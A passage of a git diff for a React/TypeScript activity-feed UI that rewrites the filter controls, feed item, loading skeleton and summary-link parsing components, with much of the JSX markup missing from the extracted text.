1).padStart(2, '0'); + const day = String(date.getDate()).padStart(2, '0'); + const hours = String(date.getHours()).padStart(2, '0'); + const minutes = String(date.getMinutes()).padStart(2, '0'); + return `${year}-${month}-${day}T${hours}:${minutes}`; +}; + +/** + * Check if the current time range matches a preset + */ +const getSelectedPreset = (timeRange: TimeRange): string => { + const preset = TIME_PRESETS.find((p) => timeRange.start === p.key); + return preset ? preset.key : 'custom'; +}; + +/** + * ActivityFeedFilters provides filter controls for the activity feed + */ +export function ActivityFeedFilters({ + client, + filters, + timeRange, + onFiltersChange, + onTimeRangeChange, + disabled = false, + hiddenFilters = [], + className = '', +}: ActivityFeedFiltersProps) { + const { resourceKinds, actorNames, apiGroups, resourceNamespaces, error: facetsError } = useFacets(client, timeRange, filters); + + // Log facets error for debugging + if (facetsError) { + console.error('Failed to load facets:', facetsError); + } + + // Track which filter was just added to auto-open it + const [pendingFilter, setPendingFilter] = useState(null); + + // Custom time range state + const selectedPreset = getSelectedPreset(timeRange); + const [customStart, setCustomStart] = useState(() => { + if (selectedPreset === 'custom') { + return formatDatetimeLocal(timeRange.start); + } + return formatDatetimeLocal(formatISO(subDays(new Date(), 1))); + }); + const [customEnd, setCustomEnd] = useState(() => { + if (selectedPreset === 'custom' && timeRange.end) { + return formatDatetimeLocal(timeRange.end); + } + return formatDatetimeLocal(formatISO(new Date())); + }); + + // Handle change source change + const handleChangeSourceChange = useCallback( + (value: ChangeSourceOption) => { + onFiltersChange({ + ...filters, + changeSource: value, + }); + }, + [filters, onFiltersChange] + ); + + // Handle time range preset selection + const handleTimePresetSelect = useCallback( + (presetKey: string) => { + onTimeRangeChange({ + start: presetKey, + end: undefined, + }); + }, + [onTimeRangeChange] + ); + + // Handle custom time range apply + const handleCustomRangeApply = useCallback( + (start: string, end: string) => { + setCustomStart(start); + setCustomEnd(end); + onTimeRangeChange({ + start: new Date(start).toISOString(), + end: new Date(end).toISOString(), + }); + }, + [onTimeRangeChange] + ); + + // Get display label for time range + const getTimeRangeLabel = () => { + const preset = TIME_PRESETS.find((p) => p.key === selectedPreset); + if (preset) return preset.label; + if (selectedPreset === 'custom' && timeRange.start && timeRange.end) { + const start = new Date(timeRange.start); + const end = new Date(timeRange.end); + return `${start.toLocaleDateString()} - ${end.toLocaleDateString()}`; + } + return 'Select time range'; + }; + + // Determine which filters are currently active (have values) and not hidden + const filtersWithValues = useMemo(() => { + const result: FilterId[] = []; + if (filters.resourceKinds && filters.resourceKinds.length > 0 && !hiddenFilters.includes('resourceKinds')) result.push('resourceKinds'); + if (filters.actorNames && filters.actorNames.length > 0 && !hiddenFilters.includes('actorNames')) result.push('actorNames'); + if (filters.apiGroups && filters.apiGroups.length > 0 && !hiddenFilters.includes('apiGroups')) result.push('apiGroups'); + if (filters.resourceNamespaces && filters.resourceNamespaces.length > 0 && !hiddenFilters.includes('resourceNamespaces')) result.push('resourceNamespaces'); + if (filters.resourceName && !hiddenFilters.includes('resourceName')) result.push('resourceName'); + if (filters.actions && filters.actions.length > 0) result.push('actions'); + return result; + }, [filters, hiddenFilters]); + + // Include pendingFilter (newly added filter awaiting value selection) in the displayed filters + const activeFilterIds: FilterId[] = pendingFilter && !filtersWithValues.includes(pendingFilter) + ? [...filtersWithValues, pendingFilter] + : filtersWithValues; + + // Clear pending filter when filter values change (user selected something) + useEffect(() => { + if (pendingFilter && filtersWithValues.includes(pendingFilter)) { + // Filter now has values, clear pending state + setPendingFilter(null); + } + }, [pendingFilter, filtersWithValues]); + + // Build available filters list (exclude hidden filters) + const availableFilters: FilterOption[] = [ + { id: 'resourceKinds', label: 'Kind' }, + { id: 'actorNames', label: 'Actor' }, + { id: 'apiGroups', label: 'API Group' }, + { id: 'resourceNamespaces', label: 'Namespace' }, + { id: 'resourceName', label: 'Resource Name' }, + // 'actions' hidden until backend facet support is available + ].filter((filter) => !hiddenFilters.includes(filter.id as FilterId)); + + // Handle adding a filter + const handleAddFilter = useCallback((filterId: string) => { + setPendingFilter(filterId as FilterId); + }, []); + + // Handle popover close - clear pending filter if no values were selected + const handlePopoverClose = useCallback( + (filterId: FilterId) => { + if (pendingFilter === filterId) { + const hasValues = (() => { + const value = filters[filterId]; + if (filterId === 'resourceName') return !!value; + return Array.isArray(value) && value.length > 0; + })(); + if (!hasValues) { + setPendingFilter(null); + } + } + }, + [pendingFilter, filters] + ); + + // Handle filter value changes + const handleFilterChange = useCallback( + (filterId: FilterId, values: string[]) => { + onFiltersChange({ + ...filters, + [filterId]: values.length > 0 ? values : undefined, + }); + }, + [filters, onFiltersChange] + ); + + // Handle filter clear + const handleFilterClear = useCallback( + (filterId: FilterId) => { + onFiltersChange({ + ...filters, + [filterId]: undefined, + }); + }, + [filters, onFiltersChange] + ); + + // Get options for a specific filter + const getFilterOptions = (filterId: FilterId) => { + switch (filterId) { + case 'resourceKinds': + return resourceKinds + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + case 'actorNames': + return actorNames + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + case 'apiGroups': + return apiGroups + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + case 'resourceNamespaces': + return resourceNamespaces + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + case 'actions': + // TODO: Return action facets when backend supports it + return []; + default: + return []; + } + }; + + // Get values for a specific filter + const getFilterValues = (filterId: FilterId): string[] => { + const value = filters[filterId]; + if (filterId === 'resourceName') { + return value ? [value as string] : []; + } + if (filterId === 'actions') { + return (value as string[] | undefined) || []; + } + return (value as string[] | undefined) || []; + }; + + // Local search value for debouncing — keeps input responsive while query runs + const [searchInputValue, setSearchInputValue] = useState(filters.search || ''); + const searchDebounceRef = useRef | null>(null); + // Use refs so the debounced callback never closes over stale values + const filtersRef = useRef(filters); + filtersRef.current = filters; + const onFiltersChangeRef = useRef(onFiltersChange); + onFiltersChangeRef.current = onFiltersChange; + + // Cancel any pending debounce on unmount + useEffect(() => { + return () => { + if (searchDebounceRef.current) clearTimeout(searchDebounceRef.current); + }; + }, []); + + const handleSearchChange = useCallback((event: React.ChangeEvent) => { + const value = event.target.value; + setSearchInputValue(value); + if (searchDebounceRef.current) clearTimeout(searchDebounceRef.current); + searchDebounceRef.current = setTimeout(() => { + onFiltersChangeRef.current({ ...filtersRef.current, search: value || undefined }); + }, 400); + }, []); + + const handleSearchClear = useCallback(() => { + setSearchInputValue(''); + if (searchDebounceRef.current) clearTimeout(searchDebounceRef.current); + onFiltersChangeRef.current({ ...filtersRef.current, search: undefined }); + }, []); + + return ( +
+
+ {/* Change Source Toggle */} + {!hiddenFilters.includes('changeSource') && ( + + )} + + {/* Search Input */} +
+ + + {searchInputValue && ( + + )} +
+ + {/* Active Filter Chips */} + {activeFilterIds.map((filterId) => { + const config = FILTER_CONFIGS[filterId]; + return ( + handleFilterChange(filterId, values)} + onClear={() => handleFilterClear(filterId)} + onPopoverClose={() => handlePopoverClose(filterId)} + inputMode={config.inputMode} + placeholder={config.placeholder} + searchPlaceholder={config.searchPlaceholder} + autoOpen={pendingFilter === filterId} + disabled={disabled} + /> + ); + })} + + {/* Add Filter Dropdown */} + 0} + disabled={disabled} + /> + + {/* Spacer */} +
+ + {/* Time Range Dropdown */} + +
+
+ ); +} diff --git a/ui/src/components/ActivityFeedItem.tsx b/ui/src/components/ActivityFeedItem.tsx index 397979f3..200b1c24 100644 --- a/ui/src/components/ActivityFeedItem.tsx +++ b/ui/src/components/ActivityFeedItem.tsx @@ -1,344 +1,344 @@ -import { useState } from 'react'; -import { formatDistanceToNow } from 'date-fns'; -import type { Activity, ResourceLinkResolver, TenantLinkResolver, TenantRenderer } from '../types/activity'; -import { ActivityFeedSummary, ResourceLinkClickHandler } from './ActivityFeedSummary'; -import { ActivityExpandedDetails } from './ActivityExpandedDetails'; -import { TenantBadge } from './TenantBadge'; -import { cn } from '../lib/utils'; -import { Button } from './ui/button'; -import { Card } from './ui/card'; -import { Plus, Pencil, Trash2, Activity as ActivityIcon } from 'lucide-react'; - -export interface ActivityFeedItemProps { - /** The activity to render */ - activity: Activity; - /** Handler called when a resource link is clicked (deprecated: use resourceLinkResolver) */ - onResourceClick?: ResourceLinkClickHandler; - /** Function that resolves resource references to URLs */ - resourceLinkResolver?: ResourceLinkResolver; - /** Function that resolves tenant references to URLs */ - tenantLinkResolver?: TenantLinkResolver; - /** Custom renderer for tenant badges (overrides default TenantBadge) */ - tenantRenderer?: TenantRenderer; - /** Handler called when the actor name or avatar is clicked */ - onActorClick?: (actorName: string) => void; - /** Handler called when the item is clicked */ - onActivityClick?: (activity: Activity) => void; - /** Whether the item is selected */ - isSelected?: boolean; - /** Additional CSS class */ - className?: string; - /** Whether to show as compact (for resource detail tabs) */ - compact?: boolean; - /** Whether this is a newly streamed activity */ - isNew?: boolean; - /** Layout variant: 'feed' (default) or 'timeline' */ - variant?: 'feed' | 'timeline'; - /** Whether this is the last item in the list (hides bottom border, only used in timeline variant) */ - isLast?: boolean; - /** Whether the item starts expanded */ - defaultExpanded?: boolean; -} - -/** - * Format timestamp for display - */ -function formatTimestamp(timestamp?: string): string { - if (!timestamp) return 'Unknown time'; - try { - const date = new Date(timestamp); - return formatDistanceToNow(date, { addSuffix: true }); - } catch { - return timestamp; - } -} - -/** - * Format timestamp for tooltip (in UTC) - */ -function formatTimestampFull(timestamp?: string): string { - if (!timestamp) return 'Unknown time'; - try { - const date = new Date(timestamp); - return `${date.getUTCFullYear()}-${String(date.getUTCMonth() + 1).padStart(2, '0')}-${String(date.getUTCDate()).padStart(2, '0')} ${String(date.getUTCHours()).padStart(2, '0')}:${String(date.getUTCMinutes()).padStart(2, '0')}:${String(date.getUTCSeconds()).padStart(2, '0')} UTC`; - } catch { - return timestamp; - } -} - -/** - * Get avatar initials from actor name - */ -function getActorInitials(name: string): string { - const parts = name.split(/[@\s.]+/).filter(Boolean); - if (parts.length === 0) return '?'; - if (parts.length === 1) return parts[0].charAt(0).toUpperCase(); - return (parts[0].charAt(0) + parts[parts.length - 1].charAt(0)).toUpperCase(); -} - -/** - * Get Tailwind classes for actor avatar based on actor type - */ -function getActorAvatarClasses(actorType: string, compact: boolean): string { - const baseClasses = cn( - 'rounded-full flex items-center justify-center shrink-0 font-semibold', - compact ? 'w-5 h-5 text-xs' : 'w-6 h-6 text-xs' - ); - switch (actorType) { - case 'user': - return cn(baseClasses, 'bg-lime-200 text-slate-900 dark:bg-lime-800 dark:text-lime-100'); - case 'controller': - return cn(baseClasses, 'bg-rose-300 text-slate-900 dark:bg-rose-800 dark:text-rose-100'); - case 'machine account': - return cn(baseClasses, 'bg-muted text-muted-foreground'); - default: - return cn(baseClasses, 'bg-muted text-muted-foreground'); - } -} - -/** - * Extract verb from activity summary (e.g., "alice created HTTPProxy" -> "created") - */ -function extractVerb(summary: string): string { - const words = summary.split(/\s+/); - if (words.length >= 2) { - return words[1].toLowerCase(); - } - return 'unknown'; -} - -/** - * Normalize verb to a canonical form for coloring - */ -function normalizeVerb(verb: string): 'create' | 'update' | 'delete' | 'other' { - const normalized = verb.toLowerCase(); - if (normalized.includes('create') || normalized.includes('add')) return 'create'; - if (normalized.includes('delete') || normalized.includes('remove')) return 'delete'; - if (normalized.includes('update') || normalized.includes('patch') || normalized.includes('modify') || normalized.includes('change') || normalized.includes('edit')) return 'update'; - return 'other'; -} - -/** - * Get icon container + icon color classes based on verb - */ -function getActionIconClasses(verb: string): { container: string; icon: string } { - const normalizedVerb = normalizeVerb(verb); - switch (normalizedVerb) { - case 'create': - return { container: 'bg-blue-50 dark:bg-blue-950', icon: 'text-blue-500 dark:text-blue-400' }; - case 'update': - return { container: 'bg-green-50 dark:bg-green-950', icon: 'text-green-600 dark:text-green-400' }; - case 'delete': - return { container: 'bg-red-50 dark:bg-red-950', icon: 'text-red-500 dark:text-red-400' }; - default: - return { container: 'bg-slate-100 dark:bg-slate-800', icon: 'text-slate-500 dark:text-slate-400' }; - } -} - -/** - * Get the Lucide icon component for the timeline node based on verb - */ -function getTimelineIcon(verb: string): React.ElementType { - const normalizedVerb = normalizeVerb(verb); - switch (normalizedVerb) { - case 'create': - return Plus; - case 'update': - return Pencil; - case 'delete': - return Trash2; - default: - return ActivityIcon; - } -} - -/** - * ActivityFeedItem renders a single activity in the feed or timeline - */ -export function ActivityFeedItem({ - activity, - onResourceClick, - resourceLinkResolver, - tenantLinkResolver, - tenantRenderer, - onActorClick, - onActivityClick, - isSelected = false, - className = '', - compact = false, - isNew = false, - variant = 'feed', - isLast = false, - defaultExpanded = false, -}: ActivityFeedItemProps) { - const [isExpanded, setIsExpanded] = useState(defaultExpanded); - - const { spec, metadata } = activity; - const { actor, summary, links, tenant } = spec; - - const handleClick = () => { - onActivityClick?.(activity); - }; - - const handleActorClick = (e: React.MouseEvent) => { - e.stopPropagation(); - if (onActorClick) { - onActorClick(actor.name); - } - }; - - const toggleExpand = (e: React.MouseEvent) => { - e.stopPropagation(); - setIsExpanded(!isExpanded); - }; - - const timestamp = metadata?.creationTimestamp; - const verb = extractVerb(summary); - const isTimeline = variant === 'timeline'; - - // Timeline variant — flat list row with bottom border - if (isTimeline) { - const { container: iconBg, icon: iconColor } = getActionIconClasses(verb); - const Icon = getTimelineIcon(verb); - return ( -
-
- {/* Action icon square */} -
- -
- - {/* Summary */} -
- -
- - {/* Tenant badge */} - {tenant && ( -
- {tenantRenderer ? tenantRenderer(tenant) : } -
- )} - - {/* Timestamp */} - - {formatTimestamp(timestamp)} - - - {/* Expand toggle */} - -
- - {/* Expanded Details */} - {isExpanded && ( - - )} -
- ); - } - - // Feed variant (single-row layout) - return ( - - {/* Single row layout */} -
- {/* Actor Avatar */} -
- {actor.type === 'controller' ? ( - - ) : actor.type === 'machine account' ? ( - 🤖 - ) : ( - {getActorInitials(actor.name)} - )} -
- - {/* Summary - takes remaining space */} -
- -
- - {/* Tenant badge */} - {tenant && ( -
- {tenantRenderer ? tenantRenderer(tenant) : } -
- )} - - {/* Timestamp */} - - {formatTimestamp(timestamp)} - - - {/* Expand button */} - -
- - {/* Expanded Details */} - {isExpanded && } -
- ); -} +import { useState } from 'react'; +import { formatDistanceToNow } from 'date-fns'; +import type { Activity, ResourceLinkResolver, TenantLinkResolver, TenantRenderer } from '../types/activity'; +import { ActivityFeedSummary, ResourceLinkClickHandler } from './ActivityFeedSummary'; +import { ActivityExpandedDetails } from './ActivityExpandedDetails'; +import { TenantBadge } from './TenantBadge'; +import { cn } from '../lib/utils'; +import { Button } from './ui/button'; +import { Card } from './ui/card'; +import { Plus, Pencil, Trash2, Activity as ActivityIcon } from 'lucide-react'; + +export interface ActivityFeedItemProps { + /** The activity to render */ + activity: Activity; + /** Handler called when a resource link is clicked (deprecated: use resourceLinkResolver) */ + onResourceClick?: ResourceLinkClickHandler; + /** Function that resolves resource references to URLs */ + resourceLinkResolver?: ResourceLinkResolver; + /** Function that resolves tenant references to URLs */ + tenantLinkResolver?: TenantLinkResolver; + /** Custom renderer for tenant badges (overrides default TenantBadge) */ + tenantRenderer?: TenantRenderer; + /** Handler called when the actor name or avatar is clicked */ + onActorClick?: (actorName: string) => void; + /** Handler called when the item is clicked */ + onActivityClick?: (activity: Activity) => void; + /** Whether the item is selected */ + isSelected?: boolean; + /** Additional CSS class */ + className?: string; + /** Whether to show as compact (for resource detail tabs) */ + compact?: boolean; + /** Whether this is a newly streamed activity */ + isNew?: boolean; + /** Layout variant: 'feed' (default) or 'timeline' */ + variant?: 'feed' | 'timeline'; + /** Whether this is the last item in the list (hides bottom border, only used in timeline variant) */ + isLast?: boolean; + /** Whether the item starts expanded */ + defaultExpanded?: boolean; +} + +/** + * Format timestamp for display + */ +function formatTimestamp(timestamp?: string): string { + if (!timestamp) return 'Unknown time'; + try { + const date = new Date(timestamp); + return formatDistanceToNow(date, { addSuffix: true }); + } catch { + return timestamp; + } +} + +/** + * Format timestamp for tooltip (in UTC) + */ +function formatTimestampFull(timestamp?: string): string { + if (!timestamp) return 'Unknown time'; + try { + const date = new Date(timestamp); + return `${date.getUTCFullYear()}-${String(date.getUTCMonth() + 1).padStart(2, '0')}-${String(date.getUTCDate()).padStart(2, '0')} ${String(date.getUTCHours()).padStart(2, '0')}:${String(date.getUTCMinutes()).padStart(2, '0')}:${String(date.getUTCSeconds()).padStart(2, '0')} UTC`; + } catch { + return timestamp; + } +} + +/** + * Get avatar initials from actor name + */ +function getActorInitials(name: string): string { + const parts = name.split(/[@\s.]+/).filter(Boolean); + if (parts.length === 0) return '?'; + if (parts.length === 1) return parts[0].charAt(0).toUpperCase(); + return (parts[0].charAt(0) + parts[parts.length - 1].charAt(0)).toUpperCase(); +} + +/** + * Get Tailwind classes for actor avatar based on actor type + */ +function getActorAvatarClasses(actorType: string, compact: boolean): string { + const baseClasses = cn( + 'rounded-full flex items-center justify-center shrink-0 font-semibold', + compact ? 'w-5 h-5 text-xs' : 'w-6 h-6 text-xs' + ); + switch (actorType) { + case 'user': + return cn(baseClasses, 'bg-lime-200 text-slate-900 dark:bg-lime-800 dark:text-lime-100'); + case 'controller': + return cn(baseClasses, 'bg-rose-300 text-slate-900 dark:bg-rose-800 dark:text-rose-100'); + case 'machine account': + return cn(baseClasses, 'bg-muted text-muted-foreground'); + default: + return cn(baseClasses, 'bg-muted text-muted-foreground'); + } +} + +/** + * Extract verb from activity summary (e.g., "alice created HTTPProxy" -> "created") + */ +function extractVerb(summary: string): string { + const words = summary.split(/\s+/); + if (words.length >= 2) { + return words[1].toLowerCase(); + } + return 'unknown'; +} + +/** + * Normalize verb to a canonical form for coloring + */ +function normalizeVerb(verb: string): 'create' | 'update' | 'delete' | 'other' { + const normalized = verb.toLowerCase(); + if (normalized.includes('create') || normalized.includes('add')) return 'create'; + if (normalized.includes('delete') || normalized.includes('remove')) return 'delete'; + if (normalized.includes('update') || normalized.includes('patch') || normalized.includes('modify') || normalized.includes('change') || normalized.includes('edit')) return 'update'; + return 'other'; +} + +/** + * Get icon container + icon color classes based on verb + */ +function getActionIconClasses(verb: string): { container: string; icon: string } { + const normalizedVerb = normalizeVerb(verb); + switch (normalizedVerb) { + case 'create': + return { container: 'bg-blue-50 dark:bg-blue-950', icon: 'text-blue-500 dark:text-blue-400' }; + case 'update': + return { container: 'bg-green-50 dark:bg-green-950', icon: 'text-green-600 dark:text-green-400' }; + case 'delete': + return { container: 'bg-red-50 dark:bg-red-950', icon: 'text-red-500 dark:text-red-400' }; + default: + return { container: 'bg-slate-100 dark:bg-slate-800', icon: 'text-slate-500 dark:text-slate-400' }; + } +} + +/** + * Get the Lucide icon component for the timeline node based on verb + */ +function getTimelineIcon(verb: string): React.ElementType { + const normalizedVerb = normalizeVerb(verb); + switch (normalizedVerb) { + case 'create': + return Plus; + case 'update': + return Pencil; + case 'delete': + return Trash2; + default: + return ActivityIcon; + } +} + +/** + * ActivityFeedItem renders a single activity in the feed or timeline + */ +export function ActivityFeedItem({ + activity, + onResourceClick, + resourceLinkResolver, + tenantLinkResolver, + tenantRenderer, + onActorClick, + onActivityClick, + isSelected = false, + className = '', + compact = false, + isNew = false, + variant = 'feed', + isLast = false, + defaultExpanded = false, +}: ActivityFeedItemProps) { + const [isExpanded, setIsExpanded] = useState(defaultExpanded); + + const { spec, metadata } = activity; + const { actor, summary, links, tenant } = spec; + + const handleClick = () => { + onActivityClick?.(activity); + }; + + const handleActorClick = (e: React.MouseEvent) => { + e.stopPropagation(); + if (onActorClick) { + onActorClick(actor.name); + } + }; + + const toggleExpand = (e: React.MouseEvent) => { + e.stopPropagation(); + setIsExpanded(!isExpanded); + }; + + const timestamp = metadata?.creationTimestamp; + const verb = extractVerb(summary); + const isTimeline = variant === 'timeline'; + + // Timeline variant — flat list row with bottom border + if (isTimeline) { + const { container: iconBg, icon: iconColor } = getActionIconClasses(verb); + const Icon = getTimelineIcon(verb); + return ( +
+
+ {/* Action icon square */} +
+ +
+ + {/* Summary */} +
+ +
+ + {/* Tenant badge */} + {tenant && ( +
+ {tenantRenderer ? tenantRenderer(tenant) : } +
+ )} + + {/* Timestamp */} + + {formatTimestamp(timestamp)} + + + {/* Expand toggle */} + +
+ + {/* Expanded Details */} + {isExpanded && ( + + )} +
+ ); + } + + // Feed variant (single-row layout) + return ( + + {/* Single row layout */} +
+ {/* Actor Avatar */} +
+ {actor.type === 'controller' ? ( + + ) : actor.type === 'machine account' ? ( + 🤖 + ) : ( + {getActorInitials(actor.name)} + )} +
+ + {/* Summary - takes remaining space */} +
+ +
+ + {/* Tenant badge */} + {tenant && ( +
+ {tenantRenderer ? tenantRenderer(tenant) : } +
+ )} + + {/* Timestamp */} + + {formatTimestamp(timestamp)} + + + {/* Expand button */} + +
+ + {/* Expanded Details */} + {isExpanded && } +
+ ); +} diff --git a/ui/src/components/ActivityFeedItemSkeleton.tsx b/ui/src/components/ActivityFeedItemSkeleton.tsx index dae319a7..cfedf49d 100644 --- a/ui/src/components/ActivityFeedItemSkeleton.tsx +++ b/ui/src/components/ActivityFeedItemSkeleton.tsx @@ -1,48 +1,48 @@ -import { Card } from './ui/card'; -import { Skeleton } from './ui/skeleton'; -import { cn } from '../lib/utils'; - -export interface ActivityFeedItemSkeletonProps { - /** Whether to show as compact (for resource detail tabs) */ - compact?: boolean; - /** Additional CSS class */ - className?: string; -} - -/** - * ActivityFeedItemSkeleton renders a loading placeholder that matches ActivityFeedItem layout - */ -export function ActivityFeedItemSkeleton({ - compact = false, - className = '', -}: ActivityFeedItemSkeletonProps) { - return ( - - {/* Single row layout */} -
- {/* Actor Avatar skeleton */} - - - {/* Summary skeleton - takes remaining space */} - - - {/* Tenant badge skeleton */} - - - {/* Timestamp skeleton */} - - - {/* Expand button skeleton */} - -
-
- ); -} +import { Card } from './ui/card'; +import { Skeleton } from './ui/skeleton'; +import { cn } from '../lib/utils'; + +export interface ActivityFeedItemSkeletonProps { + /** Whether to show as compact (for resource detail tabs) */ + compact?: boolean; + /** Additional CSS class */ + className?: string; +} + +/** + * ActivityFeedItemSkeleton renders a loading placeholder that matches ActivityFeedItem layout + */ +export function ActivityFeedItemSkeleton({ + compact = false, + className = '', +}: ActivityFeedItemSkeletonProps) { + return ( + + {/* Single row layout */} +
+ {/* Actor Avatar skeleton */} + + + {/* Summary skeleton - takes remaining space */} + + + {/* Tenant badge skeleton */} + + + {/* Timestamp skeleton */} + + + {/* Expand button skeleton */} + +
+
+ ); +} diff --git a/ui/src/components/ActivityFeedSummary.tsx b/ui/src/components/ActivityFeedSummary.tsx index e9ec930c..b3aa3855 100644 --- a/ui/src/components/ActivityFeedSummary.tsx +++ b/ui/src/components/ActivityFeedSummary.tsx @@ -1,156 +1,156 @@ -import type { ActivityLink, ResourceRef, ResourceLinkResolver, ResourceLinkContext } from '../types/activity'; - -export interface ResourceLinkClickHandler { - (resource: ResourceRef): void; -} - -export interface ActivityFeedSummaryProps { - /** The summary text to render */ - summary: string; - /** Links within the summary to make clickable */ - links?: ActivityLink[]; - /** Handler called when a resource link is clicked (deprecated: use resourceLinkResolver) */ - onResourceClick?: ResourceLinkClickHandler; - /** Function that resolves resource references to URLs (renders as tags) */ - resourceLinkResolver?: ResourceLinkResolver; - /** Context for resolving resource links (includes tenant information) */ - resourceLinkContext?: ResourceLinkContext; - /** Additional CSS class */ - className?: string; -} - -/** - * Parse summary text and replace marker strings with clickable links - */ -function parseSummaryWithLinks( - summary: string, - links: ActivityLink[] | undefined, - onResourceClick?: ResourceLinkClickHandler, - resourceLinkResolver?: ResourceLinkResolver, - resourceLinkContext?: ResourceLinkContext -): (string | JSX.Element)[] { - if (!links || links.length === 0) { - return [summary]; - } - - // Sort links by marker length (longest first) to avoid partial matches - const sortedLinks = [...links].sort((a, b) => b.marker.length - a.marker.length); - - // Track positions that have been replaced - interface ReplacedRange { - start: number; - end: number; - link: ActivityLink; - } - - const replacedRanges: ReplacedRange[] = []; - - // Find all marker positions - for (const link of sortedLinks) { - let searchStart = 0; - let pos = summary.indexOf(link.marker, searchStart); - - while (pos !== -1) { - const end = pos + link.marker.length; - - // Check if this range overlaps with any existing range - const overlaps = replacedRanges.some( - (range) => pos < range.end && end > range.start - ); - - if (!overlaps) { - replacedRanges.push({ start: pos, end, link }); - } - - searchStart = pos + 1; - pos = summary.indexOf(link.marker, searchStart); - } - } - - // Sort ranges by start position - replacedRanges.sort((a, b) => a.start - b.start); - - // Build the result array - const result: (string | JSX.Element)[] = []; - let lastEnd = 0; - - for (let i = 0; i < replacedRanges.length; i++) { - const range = replacedRanges[i]; - - // Add text before this marker - if (range.start > lastEnd) { - result.push(summary.substring(lastEnd, range.start)); - } - - // If resourceLinkResolver is provided, render as tag - if (resourceLinkResolver) { - const url = resourceLinkResolver(range.link.resource, resourceLinkContext); - if (url) { - result.push( - e.stopPropagation()} - > - {range.link.marker} - - ); - } else { - // Resolver returned undefined, render as plain text - result.push(range.link.marker); - } - } else { - // Fallback to button with onResourceClick handler for backward compatibility - const handleClick = onResourceClick - ? (e: React.MouseEvent) => { - e.preventDefault(); - e.stopPropagation(); - onResourceClick(range.link.resource); - } - : undefined; - - result.push( - - ); - } - - lastEnd = range.end; - } - - // Add any remaining text - if (lastEnd < summary.length) { - result.push(summary.substring(lastEnd)); - } - - return result; -} - -/** - * ActivityFeedSummary renders an activity summary with clickable resource links - */ -export function ActivityFeedSummary({ - summary, - links, - onResourceClick, - resourceLinkResolver, - resourceLinkContext, - className = '', -}: ActivityFeedSummaryProps) { - const parsedContent = parseSummaryWithLinks(summary, links, onResourceClick, resourceLinkResolver, resourceLinkContext); - - return ( - - {parsedContent} - - ); -} +import type { ActivityLink, ResourceRef, ResourceLinkResolver, ResourceLinkContext } from '../types/activity'; + +export interface ResourceLinkClickHandler { + (resource: ResourceRef): void; +} + +export interface ActivityFeedSummaryProps { + /** The summary text to render */ + summary: string; + /** Links within the summary to make clickable */ + links?: ActivityLink[]; + /** Handler called when a resource link is clicked (deprecated: use resourceLinkResolver) */ + onResourceClick?: ResourceLinkClickHandler; + /** Function that resolves resource references to URLs (renders as tags) */ + resourceLinkResolver?: ResourceLinkResolver; + /** Context for resolving resource links (includes tenant information) */ + resourceLinkContext?: ResourceLinkContext; + /** Additional CSS class */ + className?: string; +} + +/** + * Parse summary text and replace marker strings with clickable links + */ +function parseSummaryWithLinks( + summary: string, + links: ActivityLink[] | undefined, + onResourceClick?: ResourceLinkClickHandler, + resourceLinkResolver?: ResourceLinkResolver, + resourceLinkContext?: ResourceLinkContext +): (string | JSX.Element)[] { + if (!links || links.length === 0) { + return [summary]; + } + + // Sort links by marker length (longest first) to avoid partial matches + const sortedLinks = [...links].sort((a, b) => b.marker.length - a.marker.length); + + // Track positions that have been replaced + interface ReplacedRange { + start: number; + end: number; + link: ActivityLink; + } + + const replacedRanges: ReplacedRange[] = []; + + // Find all marker positions + for (const link of sortedLinks) { + let searchStart = 0; + let pos = summary.indexOf(link.marker, searchStart); + + while (pos !== -1) { + const end = pos + link.marker.length; + + // Check if this range overlaps with any existing range + const overlaps = replacedRanges.some( + (range) => pos < range.end && end > range.start + ); + + if (!overlaps) { + replacedRanges.push({ start: pos, end, link }); + } + + searchStart = pos + 1; + pos = summary.indexOf(link.marker, searchStart); + } + } + + // Sort ranges by start position + replacedRanges.sort((a, b) => a.start - b.start); + + // Build the result array + const result: (string | JSX.Element)[] = []; + let lastEnd = 0; + + for (let i = 0; i < replacedRanges.length; i++) { + const range = replacedRanges[i]; + + // Add text before this marker + if (range.start > lastEnd) { + result.push(summary.substring(lastEnd, range.start)); + } + + // If resourceLinkResolver is provided, render as tag + if (resourceLinkResolver) { + const url = resourceLinkResolver(range.link.resource, resourceLinkContext); + if (url) { + result.push( + e.stopPropagation()} + > + {range.link.marker} + + ); + } else { + // Resolver returned undefined, render as plain text + result.push(range.link.marker); + } + } else { + // Fallback to button with onResourceClick handler for backward compatibility + const handleClick = onResourceClick + ? (e: React.MouseEvent) => { + e.preventDefault(); + e.stopPropagation(); + onResourceClick(range.link.resource); + } + : undefined; + + result.push( + + ); + } + + lastEnd = range.end; + } + + // Add any remaining text + if (lastEnd < summary.length) { + result.push(summary.substring(lastEnd)); + } + + return result; +} + +/** + * ActivityFeedSummary renders an activity summary with clickable resource links + */ +export function ActivityFeedSummary({ + summary, + links, + onResourceClick, + resourceLinkResolver, + resourceLinkContext, + className = '', +}: ActivityFeedSummaryProps) { + const parsedContent = parseSummaryWithLinks(summary, links, onResourceClick, resourceLinkResolver, resourceLinkContext); + + return ( + + {parsedContent} + + ); +} diff --git a/ui/src/components/ActivityLayout.tsx b/ui/src/components/ActivityLayout.tsx index 9e11989a..531d7ee1 100644 --- a/ui/src/components/ActivityLayout.tsx +++ b/ui/src/components/ActivityLayout.tsx @@ -1,70 +1,70 @@ -import React from 'react'; -import { Tabs, TabsList, TabsTrigger } from './ui/tabs'; -import { cn } from '../lib/utils'; - -export interface ActivityTab { - label: string; - value: string; - href: string; -} - -export interface ActivityLayoutProps { - /** Base path for constructing tab routes */ - basePath: string; - /** Currently active tab value. Derive from the current URL in your app. */ - activeTab: string; - /** Optional custom tabs. Defaults to Activity Feed, Events, and Audit Logs. */ - tabs?: ActivityTab[]; - /** Link component to render tab triggers as navigable links (e.g., react-router's Link) */ - linkComponent?: React.ElementType; - /** Content to render below the tabs */ - children: React.ReactNode; - /** Optional className for the outer container */ - className?: string; -} - -const defaultTabs = (basePath: string): ActivityTab[] => [ - { label: 'Activity Feed', value: 'feed', href: basePath }, - { label: 'Events', value: 'events', href: `${basePath}/events` }, - { label: 'Audit Logs', value: 'audit-logs', href: `${basePath}/audit-logs` }, -]; - -/** - * Shared activity 